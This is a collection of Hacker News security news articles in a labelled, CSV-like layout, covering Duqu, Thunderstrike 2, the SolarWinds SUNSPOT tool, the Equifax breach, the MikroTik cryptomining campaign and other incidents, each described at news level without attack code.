Barely a year into discovering Stuxnet, the world recently saw its powerful variant in the form of Duqu. It is believed that a Hungarian blogger was the first to have a tryst with the virus in early September at an ISP hosting service.

Why it is important: Duqu has gained a lot of attention because of striking similarities with its famous predecessor, Stuxnet. Several Security researchers have concluded that 99 percent of Duqu software rules are same as Stuxnet including source code and keys for encryption. There is reasonable evidence by now that the damage caused by Stuxnet was real. Hence, Duqu is of concern to every security professional at the moment.

How it functions: Duqu camouflages its own data behind normal web traffic to avoid suspicion from network administrators. This information is then sent over to a remote command and control server (CC server) using http request. The server responds with a blank JPG image, in response to which, Duqu sends back an image appended with encrypted stolen information. The IP address of the CC server used for these initial operations was 206.183.111.97 and was tracked to India. The CC server has been deactivated since then.

The Trojan horse, unlike Stuxnet, is able to record keystrokes, collect various details of system which is then encrypted and appended to an image file. The data may simply be configuration and design data from the systems, presumably to allow someone get competitive advantage. The Trojan has been configured to run on the host machine for 36-days, after which the threat vector will automatically destroy itself from the system. However, additional components sent from the CC server can extend the life beyond this time period.
Purpose: Duqu appears to be focusing on data mining right now, scouting host machine to gain information or features about the environment. The real purpose of spreading the Trojan has been obscure and the data collection may just be an initial stage of a larger setup.

Complexity: There is nothing novel about the attack vector and it can be safely assumed that the creator at least had access to Stuxnet code. Once a certain piece is in circulation, others build upon it. And this may be the case with Duqu. Duqu too, like Stuxnet, uses a stolen digital certificate from a Taiwanese company to prove its authenticity. Also, Duqu couldn't have been around for too long since the driver sign date has been recorded to be July 2011. There is also a likelihood of the same team being employed to create the Stuxnet variant. Like the Stuxnet, Duqu too is a State sponsored attack, since no other party would engage in an activity that requires ample technical caliber but brings no obvious monetary benefit.

Other Theories: Various theories are floating around about the motive and origin of Duqu. One of the interesting one is by @reversemode on twitter. According to him, one of the galaxy pictures comes from 66.49.141.227, which suggests Hebrew connection with Duqu. In the past 1 week, a few more variants have been discovered, but not much can be said about them as it too early.

Analysis: Duqu gives the impression of something much bigger coming up than what meets the eye. It is also interesting to note that the techniques used to deploy these attacks are not state of the art. The depth of information that can be extracted using Duqu is no different from what Stuxnet could do. Neither is it any more sophisticated from what we have seen with Aurora. They were intriguing because of the coming together of a possibly destructive operation of their stature. But it's not the same with Duqu. Apart from the complexities it shares with its predecessor, Duqu creators have also used age-old techniques – bad password policy, use of USB drive outside of work and the likes to aid spread the virus. So what is it about this trojan-virus that is catching every eye-ball?

Duqu bears testimony to the beginning of an era where cyber war will grow bigger than nuclear and the likes. It is not that we were caught unaware of nation states espionage programs this time. It is the frequency with which they were discovered corroborates the theory that future will see a steep rise in cybercrime. Dealing with this is going to be a major focus for a majority of us security professionals.
DUQU in news :
Duqu malware was created to spy on Iran's nuclear program
Duqu Trojan found in Indian Server
Duqu Analysis and Detection Tool by NSS Labs
Stuxnet's Son ""Duqu"" Removal Tool released by Bitdefender
Windows Kernel Zero Day Vulnerability Found in Duqu Installer

",Vulnerability
Rogue software update cause Malware attack on Japanese Nuclear Power Plant,https://thehackernews.com/2014/01/rogue-software-update-cause-malware_9.html,"The most critical and worst target of a State-sponsored cyber-attacks could be Hospitals, Dams, Dykes and Nuclear power stations and this may cause military conflicts between countries.
According to Japan Today, The Monju nuclear power plant in Tsuruga, Japan was accidentally targeted by a malware on 2nd January, when a worker updated the system to the latest version of the video playback program.

Monju Nuclear Plant is a sodium-cooled fast reactor, was launched in April 1994. It has not been operational for most of the past 20 years, after an accident in which a sodium leak caused a major fire.

Employees over there are only left with a regular job of company's paperwork and maintenance. So the malware could have stolen only some sensitive documents, emails, training records and employees' data sheets. The Malware command-and-control server suspected to be from South Korea.

The malware itself is not much sophisticated like Stuxnet or Duqu, but the unmanaged software update and patch management system can seriously lead to a critical cyber attack. Even being isolated from the Internet does not prevent you from being infected.

One of the best examples of flawed Internal policies is Stuxnet, one of the most infamous pieces of malware ever created to destroy Iranian Nuclear plants and infected the systems through a USB stick only.

Also in November, The Kaspersky revealed that Russian astronauts carried a removable device into space which infected systems on the space station.

",Malware
Japanese Poker champion charged for distributing Android malware,https://thehackernews.com/2013/07/Poker-Android-malware-Masaaki-Kagawa.html,"Famous poker player 'Masaaki Kagawa' who won about $1.5 million in poker tournaments has been arrested by Japanese authorities for allegedly distributing Android malware.

According to Symantec, He is just one of nine men arrested for distributing spam that included emails with links to Android malware 'Android.Enesoluty', used to collect contact details stored on the owner's device.

Security researchers discovered Android.Enesoluty first time in September 2012, it steals information and sends it to computers run by hackers.

The operation began around September, 2012 and ended in April, 2013 when authorities raided the company office.

Around 150 domains were registered to host the malicious apps and the group was able to collect approximately 37 million email addresses from around 810,000 Android devices. The company earned over 3.9 million US dollars by running a fake online dating service called Sakura site.

""His passion for taking chances and risks has paid off in the game of poker, but it's not looking good for his gambling with Android malware,"" Symantec said.

According to researchers, 'Android.Enesoluty' is sharing same source code with Android.Uracto, a Trojan that steals contacts and sends spam text messages to those contacts.

",Malware
250 Million Microsoft Customer Support Records Exposed Online,https://thehackernews.com/2020/01/microsoft-customer-support.html,"If you have ever contacted Microsoft for support in the past 14 years, your technical query, along with some personally identifiable information might have been compromised.

Microsoft today admitted a security incident that exposed nearly 250 million ""Customer Service and Support"" (CSS) records on the Internet due to a misconfigured server containing logs of conversations between its support team and customers.

According to Bob Diachenko, a cybersecurity researcher who spotted the unprotected database and reported to Microsoft, the logs contained records spanning from 2005 right through to December 2019.

In a blog post, Microsoft confirmed that due to misconfigured security rules added to the server in question on December 5, 2019, enabled exposure of the data, which remained the same until engineers remediated the configuration on December 31, 2019.

Microsoft also said that the database was redacted using automated tools to remove the personally identifiable information of most customers, except in some scenarios where the information was not the standard format.

""Our investigation confirmed that the vast majority of records were cleared of personal information in accordance with our standard practices,"" Microsoft said.

However, according to Diachenko, many records in the leaked database contained readable data on customers, including their:

email addresses,
IP addresses,
Locations,
Descriptions of CSS claims and cases,
Microsoft support agent emails,
Case numbers, resolutions, and remarks,
Internal notes marked as ""confidential.""

""This issue was specific to an internal database used for support case analytics and does not represent an exposure of our commercial cloud services,"" Microsoft said.

By having real sensitive case information and email addresses of affected customers in hand, the leaked data could be abused by tech-support scammers to trick users into paying for non-existent computer problems by impersonating Microsoft support representatives.

""The absence of Personally Identifiable Information in the dump is irrelevant here, given that technical support logs frequently expose VIP clients, their internal systems and network configurations, and even passwords. The data is a gold mine for patient criminals aiming to breach large organizations and governments,"" COO of ImmuniWeb Ekaterina Khrustaleva told The Hacker News.

""Worse, many large companies and not only Microsoft have lost visibility of their external attack surface, exposing their clients and partners to significant risks. We will likely see a multitude of similar incidents in 2020.""

KnowBe4's Data-Driven Defense Evangelist Roger Grimes also shared his comment and experience with The Hacker News, saying:

""Having worked for Microsoft for 15 years, 11 years as a full-time employee, I've seen firsthand how much they try to fight scenarios like this. There are multiple layers of controls and education designed to stop it from happening. And it shows you how hard it is to prevent it 100% of the time. Nothing is perfect. Mistakes and leaks happen. Every organization has overly permissive permissions. Every! It's just a matter of if someone outside the organization discovers it or if someone takes advantage of it.""

""In this case, as bad as it is, it was discovered by someone who didn't do malicious things with it. Sure, the data, sitting unprotected, could have also been used by the bad guys, but so far, no one has made that case or provided evidence that it has been used maliciously,"" Grimes added.

""Anyone can have a mistake. The most important question is how the mistake happened and how to prevent it from happening next time, and if any others could have happened from the same set of circumstances.""

As a result of this incident, the company said it began notifying impacted customers whose data was present in the exposed Customer Service and Support database.

",Data_Breaches
Thunderstrike 2: World's First Firmware Worm That Infects Mac Computers Without Detection,https://thehackernews.com/2015/08/thunderstrike-mac-firmware-malware.html,"If you think Apple's Mac computers are much more secure than Windows-powered systems, you need to think again. This isn't true, and security researchers have finally proved it.

Two security researchers have developed a proof-of-concept computer worm for the first time that can spread automatically between MacBooks, without any need for them to be networked.

Dubbed Thunderstrike 2, the new proof-of-concept firmware attack is inspired by previously developed proof-of-concept firmware called Thunderstrike.

Thunderstrike Attack, developed by security engineer Trammell Hudson, actually took advantage of a vulnerability in Thunderbolt Option ROM that could be used to infect Apple Extensible Firmware Interface (EFI) by allocating a malicious code into the boot ROM of an Apple computer through infected Thunderbolt devices.

Thunderstrike 2 Spreads Remotely

Although the original Thunderstrike required an attacker to have physical access to your Mac computer to work, the new attack can be spread remotely.

Thunderstrike 2 can be delivered via phishing emails, malicious Web site, as well as through a peripheral connected to the Ethernet port or USB.

After downloaded on a computer, Thunderstrike 2 can infect Thunderbolt-connected accessories that use Option ROM. After that, the malware can automatically spread to any Mac that you plug the accessory into.

Thunderstrike 2 is developed by two security researcher Trammell Hudson and Xeno Kovah of firmware security consultancy Legbacore. The researchers also demonstrated their attack, which you can watch in the video given below.

Infects Mac Computers Without Detection

Given the vicious worm, Thunderstrike 2, targets and lives in the firmware and can even evade a whole system reboot, it's a real pain for the Mac users.
""Thunderstrike 2 is really hard to detect, it's really hard to get rid of, and it's really hard to protect against something that's running inside the firmware,"" Kovah told Wired.
""For most users that's really a throw-your-machine-away kind of situation. Most people and organizations don't have the wherewithal to physically open up their machine and electrically reprogram the chip.""
Many of the firmware vulnerabilities discovered by the researchers to develop Thunderstrike 2 are common to most EFI firmware. A total of six vulnerabilities affected PCs from Dell, HP, Lenovo, Samsung, and others.

Five firmware vulnerabilities also affected the Mac's firmware, and of those, Apple has fully patched one flaw, partially patched another, and failed to patch the rests.

The researchers plan to present their findings at the Black Hat and Def Con security conferences in Las Vegas this week.

",Malware
Europol Arrests Gang Behind Zeus And SpyEye Banking Malware,https://thehackernews.com/2015/06/zeus-spyeye-banking-malware.html,"The Law enforcement agencies from six different European countries have taken down a major Ukrainian-based cyber criminals gang suspected of developing, distributing and deploying Zeus and SpyEye banking malware.

According to the report on the official website of Europol, authorities have arrested five suspects between June 18 and 19.

All the five suspects are the members of an alleged gang that has been accused of infecting tens of thousands of computers worldwide with malware and banking Trojans.

The alleged cybercriminal group distributed and used Zeus and SpyEye malware to steal money from several major banks in Europe and outside.

The gang constantly modified its malware Trojans to defeat the security protocols of banks and used ""mule networks"" to launder money.
""On the underground digital forums, they actively traded stolen credentials, compromised bank account information and malware,"" Europol said in a statement on Thursday, ""while selling their hacking 'services' and looking for new cooperation partners in other cybercriminal activities.""
Each cyber criminal of the alleged group had their own speciality. Also, the cyber gang was involved in developing malware, infecting machines and trading stolen bank credentials, malware, and hacking for hire services in underground fraudster forums.

More than EUR 2 Million in Damages

According to officials, the gang has caused financial damages estimated at more than 2 Million Euro.

The operation was conducted by the Joint Investigation Team (JIT), and the take-down was part of an ongoing initiative launched by Europol in the year 2013 that has resulted in 60 arrests to date.

Just two months ago, the law enforcement took down highly sophisticated BeeBone botnet that had infected more than 12,000 computers worldwide.

Also, the ongoing initiative resulted in took down of Ramnit botnet, which infected over 3.2 Million computers worldwide. Last year the FBI and Europol tore down the GameOver Zeus botnet, although it came back a month after its took down.

",Malware
5-year-old Boy discovers Microsoft Xbox Password Bypass vulnerability,https://thehackernews.com/2014/04/5-year-old-boy-discovers-microsoft-xbox.html,"A 5-year-old San Diego boy managed to hack one of the most popular gaming systems in the world, Xbox and has now been acknowledged as a security researcher by Microsoft.

Kristoffer Von Hassel uncovered a vulnerability in Xbox Live's password system, that would allow someone to log into a Xbox player's account without their password. Kristoffer's parents noticed he was logging into his father's Xbox Live account simply by tapping the space bar.

YES, BACKDOOR ENTRY WITH JUST SPACE-BAR
His father noticed that Kristoffer logged in as his Xbox Live account to play video games that he wasn't meant to be playing and asked how he had done it.

Kristoffer revealed that by typing in the wrong password and then by pressing the spacebar, he bypassed the password verification through a backdoor, and it was pretty simple!

HIS FEELING, ""was like yeah!""
5-year-old gamer actually hacked the authentication system of a multi-billion dollar company, and his feeling ""was like yeah!"", Kristoffer said to local news station KGTV.
His father reported the vulnerability to Microsoft Security Team, and it has been fixed by them. Microsoft issued a statement, ""We're always listening to our customers and thank them for bringing issues to our attention. We take security seriously at Xbox and fixed the issue as soon as we learned about it.""

Microsoft awarded the junior security researcher with some cool games, $50 bugs, a one-year free subscription to Xbox Live and listed his name on their website among other security researchers.

I wish a bright Infosec career ahead of him. Cheers!

",Vulnerability
Google Warning about New State Sponsored Attacks,https://thehackernews.com/2012/10/google-warning-about-new-state.html,"""Warning: We believe state-sponsored attackers may be attempting to compromise your account or computer."" From last 3 months Google users were surprised to see this unusual notification at the top of their Gmail inbox, Google home page or Chrome browser. These warnings are not being shown because Google's internal systems have been compromised or because of a particular attack.

""The company said that since it started alerting users to malicious probably state-sponsored activity on their computers in June, it has picked up thousands more instances of cyberattacks than it anticipated."" NYtimes said. Google will now start sending out these messages to tens of thousands more people, as its methods for detecting suspicious activity have improved.

Mike Wiacek, a manager on Google's information security team, said that since then, Google has improved its knowledge on attack methods and the groups behind them, and has started pushing out new alerts on Tuesday - as evidenced by a slew of U.S. journalists, researchers and foreign policy experts who said they already received the warning.

Noah Schactman, the editor of Wired's national security blog ""Danger Room,"" tweeted: ""Aaaaand I just got Google's 'you may be a victim of a state-sponsored attack' notice. #WhatTookYouSoLong?""

Mr. Wiacek noted that Google had seen an increase in state-sponsored activity coming from the Middle East. He declined to call out particular countries, but he said the activity was coming from ""a slew of different countries"" in the region.


",Malware
Your Android really needs Antivirus Security ?,https://thehackernews.com/2012/01/your-android-really-needs-antivirus.html,"Why shouldn't you protect your Android phone? Why to use an Antivirus for your Android? So that users can protect their devices from trojans, viruses, spyware, and other types of malware. Most people carry a lot of sensitive data on their phones. Recently an SMS Trojan horse posing as a media player began infecting Android phones on Russian networks. Once the victim installed the malicious app, it began sending text messages to premium numbers, leaving the user with a huge phone bill.

Also Security researchers from Kaspersky Labs have intercepted a scareware variant targeting Android users, distributed as an Opera Virus Scanner. If the user clicks on the link, they'll be asked to download VirusScanner.apk, which is currently detected as Trojan-SMS.AndroidOS.Scavir. If the user is using a non-Android device, they'll be asked to download VirusScanner.jar currently detected as Trojan-SMS.J2ME.Agent.ij.


With this in mind we at The Hacker News have list down the top 5 antivirus apps for Android phones:

1.) Lookout Security & Antivirus: Lookout Security & Antivirus is arguably the most popular security and anti-virus for Android around. A free account lets you scan your phone for malware, back up and restore your data online, and use GPS to locate your phone should it ever get lost or stolen. [Get This]
2.) Avast Free Mobile Security: Avast Free Mobile Security supports a number of features that are usually available only in paid-for Android security software. These include privacy reports, call and SMS filtering, SIM-card change notifications, firewall and application management. [Get This]
3.) Kaspersky Mobile Security: Kaspersky Lab released a free security application to keep your contacts, email and banking information from falling into the wrong hands. Kaspersky Mobile Security Lite can also remotely delete all personal data from the device including contacts, addresses, calendars, text messages and email preventing sensitive information from being illegally used or stolen. [Get This]
4.) Norton Mobile Security Beta: Norton lends its anti-malware, anti virus, and security expertise to mobile. Smartphones hold a lot of valuable data: Text messages, e-mail, and even credit card numbers can reside on the device, where they're easily accessed. [Get This]
5.) AVG AntiVirus: This app originated from Windows and the PC. For Android users it comes the free app and a premium PRO versions. Users need to start the first scan manually, showing red warning indicators until you run it. AVG also has a task killer, a battery optimizer real time protection from unsafe websites as well as antitheft and phone location services. [Get This]

Perhaps it's the 90's and 80's mindset that has us still thinking that cell phones are dumb single purpose devices, that causes us to not care about the security of our mobile devices.A wake up call to just how vulnerable cell phones are was recently raised when Google had to remove about 21 malicious apps from the market that were found to be nabbing user's data. Go ! Get one Best Security Product for your Android from above list, If you really love your Phone ;-)


Let us know what you think, learn, and hope for! Connect With us on Google+ , Twitter and Facebook

",Malware
Landry's Restaurant Chain Suffers Payment Card Theft Via PoS Malware,https://thehackernews.com/2020/01/landry-pos-malware-attack.html,"Landry's, a popular restaurant chain in the United States, has announced a malware attack on its point of sale (POS) systems that allowed cybercriminals to steal customers' payment card information.

Landry's owns and operates more than 600 bars, restaurants, hotels, casinos, food and beverage outlets with over 60 different brands such as Landry's Seafood, Chart House, Saltgrass Steak House, Claim Jumper, Morton's The Steakhouse, Mastro's Restaurants, and Rainforest Cafe.

According to the breach notification published this week, the malware was designed to search for and likely steal sensitive customer credit card data, including credit card numbers, expiration dates, verification codes and, in some cases, cardholder names.

The PoS malware infected point-of-sale terminals at all Landry's owned locations, but, fortunately, due to end-to-end encryption technology used by the company, attackers failed to steal payment card data from cards swiped at its restaurants.

However, Landry's outlets also use ""order-entry systems with a card reader attached for waitstaff to enter kitchen and bar orders and to swipe Landry's Select Club reward cards,"" which allowed attackers to successfully steal customers' payment data ""in rare circumstances"" when waitstaff mistakenly swiped payment cards on them.


The restaurant chain did not speculate how many customers may have been affected, but it is ""notifying customers"" that ""in rare circumstances, appear to have been mistakenly swiped by waitstaff on devices used to enter kitchen and bar orders, which are different devices than the point-of-sale terminals used for payment processing,"" the breach notification says.

""The malware searched for track data (which sometimes has the cardholder name in addition to card number, expiration date, and internal verification code) read from a payment card after it was swiped on the order-entry systems. In some instances, the malware only identified the part of the magnetic stripe that contained payment card information without the cardholder name.""

According to the company, the POS malware was actively scanning their systems between 13th March 2019 and 17th October 2019 for swipe cards; and at some locations, it may have been installed as early as 18th January 2019.

""During the investigation, we removed the malware and implemented enhanced security measures, and we are providing additional training to waitstaff.""

So, if you have used your debit or credit card at any of the above listed outlet last year, you are advised to stay vigilant, monitor your payment card statements for any suspicious activity and immediately report it to your bank and local law enforcement, if found.
",Data_Breaches
The Revolution from Cyber Terrorist attack to Indian Cyber Security,https://thehackernews.com/2012/05/revolution-from-cyber-terrorist-attack.html,"The Revolution from Cyber Terrorist attack to Indian Cyber Security

Cyber attack has put our lives in danger every second. The cyber attacks are becoming the root cause of the mishappenings around us every other day. As the next generation wars are increasing depending on robust and secure information systems networks, it is imperative for a country to invest in building a reliable infrastructure.

As the next generation wars are increasing depending on robust and secure information systems networks, it is imperative for a country to invest in building a reliable infrastructure. Increasing attacks on cyberspace in India has brought several professionals and experts from the Industry, in support with the last week, India's Defense Minister, AK Antony, announced an additional $1.3 Billion will be invested in the project making the grand total to a $3.1 Billion.

It is observed that many Electronic Notification is usually sent before a major terrorist attack, followed by defacement of government web sites such as Mumbai Terrorist attack. India is facing several cyber threats, reports claimed that government servers have been used in hacks against China and Delhi's airport being being under a cyber attack. These reports are in addition to news of 112 compromised government websites during December 2011 to February 2012.

Another Event, ""The Hackers Conference"" is being organized at India Habitat Center, New Delhi. It is first ever gathering in India which is going to be attended by several Blackhat Hackers too along with Security Experts hence providing a unique interface and platform for open dialogue between hackers and security experts to bridge the existing gaps in security arena to make Internet safer and more secure.

The Hackers Conference will see a galaxy of renowned speakers presenting 0-Day Vulnerabilities, Exploits and Android/Blackberry/iPhone Hacks. Apart from Speakers presenting on WI-FI and Web Application Security the Special invitees from Government Intelligence Agencies will also speak on National Security Issues emerging from Scada Hacking.

In the Nut Shell, this is an event where we are making a small effort to unite together with the Indian Government to support a cause that will allow us to have a sound and peaceful environment.

Submitted By: Prabhjot Singh

",Malware
Unveiled: SUNSPOT Malware Was Used to Inject SolarWinds Backdoor,https://thehackernews.com/2021/01/unveiled-sunspot-malware-was-used-to.html,"As the investigation into the SolarWinds supply-chain attack continues, cybersecurity researchers have disclosed a third malware strain that was deployed into the build environment to inject the backdoor into the company's Orion network monitoring platform.
Called ""Sunspot,"" the malignant tool adds to a growing list of previously disclosed malicious software such as Sunburst and Teardrop.
""This highly sophisticated and novel code was designed to inject the Sunburst malicious code into the SolarWinds Orion Platform without arousing the suspicion of our software development and build teams,"" SolarWinds' new CEO Sudhakar Ramakrishna explained.
While preliminary evidence found that operators behind the espionage campaign managed to compromise the software build and code signing infrastructure of SolarWinds Orion platform as early as October 2019 to deliver the Sunburst backdoor, the latest findings reveal a new timeline that establishes the first breach of SolarWinds network on September 4, 2019 — all carried out with an intent to deploy Sunspot.
""Sunspot monitors running processes for those involved in compilation of the Orion product and replaces one of the source files to include the Sunburst backdoor code,"" Crowdstrike researchers said in a Monday analysis.
Crowdstrike is tracking the intrusion under the moniker ""StellarParticle.""
Once installed, the malware (""taskhostsvc.exe"") grants itself debugging privileges and sets about its task of hijacking the Orion build workflow by monitoring running software processes on the server, and subsequently replace a source code file in the build directory with a malicious variant to inject Sunburst while Orion is being built.
The subsequent October 2019 version of the Orion Platform release appears to have contained modifications designed to test the perpetrators' ability to insert code into our builds,"" Ramakrishna said, echoing previous reports from ReversingLabs.
The development comes as Kaspersky researchers found what appears to be a first potential connection between Sunburst and Kazuar, a malware family linked to Russia's Turla state-sponsored cyber-espionage outfit.
The cybersecurity firm, however, refrained from drawing too many inferences from the similarities, instead suggesting that the overlaps may have been intentionally added to mislead attribution.
While the similarities are far from a smoking gun tying the hack to Russia, U.S. government officials last week formally pinned the Solorigate operation on an adversary ""likely Russian in origin.""

",Cyber_Attack
Equifax Hack Exposes Personal Info of 143 Million US Consumers,https://thehackernews.com/2017/09/equifax-credit-report-hack.html,"It's ironic—the company that offers credit monitoring and ID theft protection solutions has itself been compromised, exposing personal information of as many as 143 million Americans—that's almost half the country.

Equifax, one of the three largest credit reporting firm in the United States, admitted today that it had suffered a massive data breach somewhere between mid-May and July this year, which it actually discovered on July 29—that means the data of 143 million people were exposed for over 3 months.

However, it's unknown why Equifax waited 6 weeks before informing their millions of affected customers about the massive security breach.

Based on Equifax's investigation, unknown hackers exploited a security vulnerability on its website to gain unauthorized access to certain files.

Stolen data includes consumers' names, Social Security numbers, and birth dates for 143 million Americans, and in some instances, driving licence numbers and credit card numbers for about 209,000 citizens.

Also Read: How you can Protect Yourself from possibly the WORST Leak of Personal Data Ever.

The company said that some personal information for Canadian and British residents was also compromised.

Moreover, reportedly, three senior executives at Equifax, namely John Gamble (CFO), Joseph Loughran and Rodolfo Ploder, sold almost $2 million worth of their shares just days after the company learned of this massive hack.

Equifax is currently investigating the security incident and has reportedly hired FireEye's security firm Mandiant to help the company in hack aftermath.

Meanwhile, all Equifax customers are advised to visit https://www.equifaxsecurity2017.com website to check if their information has also been stolen. Users just need to enter the last 6 digits of their SSN and last name.

However, it is not that simple. The website is not giving a clear answer about whether or not your data may have been affected in the hack, but making it clear to those who were not exposed. Yes, it's confusing.

Equifax is asking affected customers to sign up for credit-monitoring and identity theft protection services—isn't this funny?

Don't worry; it's free for affected users.

The company has not yet confirmed whether the hackers have contacted it for any extortion demand, but since the breach is major, Americans quickly need to take necessary actions to protect themselves and their loved ones.

For this, you can head on to our article on How to Protect Yourself after this Security Mishap.

Stay tuned for more information, stay safe online.

",Data_Breaches
Malware stole 3000 confidential Documents from Japan ministry,https://thehackernews.com/2013/01/malware-stole-3000-confidential_3.html,"Japan ministry become the recent victim of a cyber attack through a malware that suspected to have compromised and sent overseas more than 3,000 confidential documents from the ministry, including many on global trade negotiations.

After investigation, experts found that Hackers use ""HTran"" the Advanced Persistant Threat (APT) exploit kit for attack. Computers at country's Ministry of Agriculture, Forestry and Fishery suspected to be infected from this.

HTran is a rudimentary connection bouncer, designed to redirect TCP traffic destined for one host to an alternate host. The source code copyright notice indicates that HTran was authored by ""lion"", a well-known Chinese hacker and member of ""HUC"", the Honker Union of China.

A lot of the documents were about the negotiations over the US-led Trans-Pacific Partnership multilateral trade pact. According to a report from SecureWorks, Dell's security division, in 2011 that the malware is believed to have been developed by a Chinese hacker group back in 2003.

HTran is used by many APT hackers to disguise the location of their command and control (C2) servers. The National Information Security Center of the Cabinet Secretariat discovered about one year ago that suspicious transmissions involving HTran had occurred at the ministry.

But no individuals or groups have been identified as the culprits in this new cyber attack as the police continue to investigate. The police will ask the ministry to explain how it discovered cyber-attacks and confirm whether a leak actually took place, the police sources said.

",Malware
Widespread Email Scam Targets Github Developers with Dimnie Trojan,https://thehackernews.com/2017/03/github-email-scam.html,"Open source developers who use the popular code-sharing site GitHub were put on alert after the discovery of a phishing email campaign that attempts to infect their computers with an advanced malware trojan.

Dubbed Dimnie, the reconnaissance and espionage trojan has the ability to harvest credentials, download sensitive files, take screenshots, log keystrokes on 32-bit and 64-bit architectures, download additional malware on infected systems, and self-destruct when ordered to.

The malware has largely flown under the radar for the past three years – Thanks to its stealthy command and control methods.

The threat was discovered in the mid of January this year when it was targeting multiple owners of Github repositories via phishing emails, but cyber-security firm Palo Alto, who reported the campaign on Tuesday, says the attacks started a few weeks before.

Here's How the Attack Works:

The attack starts by spamming the email inboxes of active GitHub users with booby-trapped job offers. The messages used in this campaign attempt to trick the victims into running an attached malicious .doc file.

The doc file contains embedded macro code, which if allowed, executes a PowerShell command to download and install the Dimnie trojan – malware that can be controlled remotely, enabling attackers to hijack infected PCs and install additional malware.

Dimnie is not new; it first appeared in early 2014, but the use of stealthy command and control (C&C) methods in the new version of the Dimnie malware helped the threat remain unnoticed until this year.

Dimnie's Stealthy Features let it went Undetected for 3 Years

This new iteration has the ability to hide its malicious traffic under fake domains and DNS requests. To camouflage its connection, Dimnie uses HTTP Proxy requests that appear to be sent to Google-owned domains, but it's actually talking to an address controlled by the attackers, which has nothing to do with Google.

For more stealthiness, the malware encrypts all of its modules during transit, and once they are received and decrypted on the targeted computer, they are never written to or executed on its hard drive.

Instead, Dimnie injects them directly into the memory of core Windows processes, which then execute in the OS memory itself, without leaving its traces on the user's disks. This lets Dimnie operators inject their malicious module into the process of any legit application.
""The global reach of the January 2017 campaign which we analyzed in this post is a marked departure from previous Dimnie targeting tactics. Multiple factors have contributed to Dimnie's relatively long-lived existence,"" Palo researchers concluded.
""By masking upload and download network traffic as innocuous user activity, Dimnie has taken advantage of defenders' assumptions about what normal traffic looks like. This blending in tactic, combined with a prior penchant for targeting systems used by Russian speakers, likely allowed Dimnie to remain relatively unknown.""
Since the malware hides its communications behind regular traffic and executes in the OS memory, Palo researchers unable to speculate the attackers behind the latest phishing email campaign or their exact motivations to target open-source developers.

However, gaining access to computers belonging to owners of private GitHub repositories gives attackers a way to access the source code of the application they manage for their organizations, which let the attackers gain access to the internal networks of various organizations.

",Cyber_Attack
"Hackers Infect Over 200,000 MikroTik Routers With Crypto Mining Malware",https://thehackernews.com/2018/08/mikrotik-router-hacking.html,"Security researchers have discovered at least three massive malware campaigns exploiting hundreds of thousands of unpatched MikroTik routers to secretly install cryptocurrency miners on computers connected to them.

In all, the malware campaigns have compromised more than 210,000 routers from Latvian network hardware provider Mikrotik across the world, with the number still increasing as of writing.

The hackers have been exploiting a known vulnerability in the Winbox component of MikroTik routers that was discovered in April this year and patched within a day of its discovery, which once again shows people's carelessness in applying security patches on time.

The security flaw can potentially allow an attacker to gain unauthenticated, remote administrative access to any vulnerable MikroTik router.

The first campaign, noticed by Trustwave researchers, began with targeting networking devices in Brazil, where a hacker or a group of hackers compromised more than 183,700 MikroTik routers.

Since other hackers have also started exploiting MikroTik router vulnerability, the campaign is spreading on a global scale.

Troy Mursch, another security researcher, has identified two similar malware campaigns that infected 25,500 and 16,000 MikroTik routers, mainly in Moldova, with malicious cryptocurrency mining code from infamous CoinHive service.

The attackers are injecting Coinhive's Javascript into every web page that a user visits using a vulnerable router, eventually forcing every connected computer to unknowingly mine Monero cryptocurrency for the miscreants.

""The attacker created a custom error page with the CoinHive script in it"" and ""if a user receives an error page of any kind while web browsing, they will get this custom error page which will mine CoinHive for the attacker,"" says Trustwave researcher Simon Kenin.

What's notable about this campaign is that how wisely the attackers are infecting a large number of devices at a time, instead of going after websites with few visitors or end users by using ""sophisticated ways"" to run malware on their computers.

""There are hundreds of thousands of these (MikroTik) devices around the globe, in use by ISPs and different organizations and businesses, each device serves at least tens if not hundreds of users daily,"" Kenin said.

It's a good reminder for users and IT managers who are still running vulnerable MikroTik routers in their environment to patch their devices as soon as possible. A single patch, which is available since April is ""enough to stop this exploitation in its tracks.""

This is not the first time MikroTik routers are targeted to spread malware. In March this year, a sophisticated APT hacking group exploited unknown vulnerabilities in MikroTik routers to covertly plant spyware into victims' computers.
",Cyber_Attack
Vulnerabilities in 'All in One SEO Pack' Wordpress Plugin Put Millions of Sites At Risk,https://thehackernews.com/2014/05/vulnerabilities-in-all-in-one-seo-pack.html,"Multiple Serious vulnerabilities have been discovered in the most famous 'All In One SEO Pack' plugin for WordPress, that put millions of Wordpress websites at risk.

WordPress is easy to setup and use, that's why large number of people like it. But if you or your company is using 'All in One SEO Pack' Wordpress plugin to optimize the website ranking in search engines, then you should update your SEO plugin immediately to the latest version of All in One SEO Pack 2.1.6.

Today, All in One SEO Pack plugin team has released an emergency security update that patches two critical privilege escalation vulnerabilities and one cross site scripting (XSS) flaw, discovered by security researchers at Sucuri, a web monitoring and malware clean up service.

More than 73 million websites on the Internet run their websites on the WordPress publishing platform and more than 15 million websites are currently using All in One SEO Pack plugin for search engine optimization.

According to Sucuri, the reported privilege escalation vulnerabilities allow an attacker to add and modify the WordPress website's meta information, that could harm its search engine ranking negatively.
""In the first case, a logged-in user, without possessing any kind of administrative privileges (like an author of subscriber), could add or modify certain parameters used by the plugin. It includes the post's SEO title, description and keyword meta tags."" Sucuri said.
Also the reported cross-site scripting vulnerability can be exploited by malicious hackers to execute malicious JavaScript code on an administrator's control panel. ""This means that an attacker could potentially inject any JavaScript code and do things like changing the admin's account password to leaving some backdoor in your website's files in order to conduct even more ""evil"" activities later."" Sucuri blog post said.

Vulnerability in WordPress plugins is the root cause for the majority of WordPress exploitation and this is one of the main tools in the web hackers' arsenal. The plugin vulnerabilities could be exploited to access sensitive information, deface websites, redirect visitors to any malicious site, or to perform DDoS attacks.

Till now, we haven't seen any web attacks conducted by exploiting these vulnerabilities in the wild, but WordPress website owners are recommended to update their All in One SEO Pack Wordpress plugin to the latest version immediately.

",Vulnerability
Microsoft and Adobe to Release Important Security Patches Next Week,https://thehackernews.com/2014/05/microsoft-and-adobe-to-release.html,"Microsoft has released its advance notification for the month of May 2014 patch Tuesday security updates, that will patch a total of eight flaws issued next Tuesday, May 13. Among the eight vulnerabilities two of them are rated critical, rest all are rated important in severity.

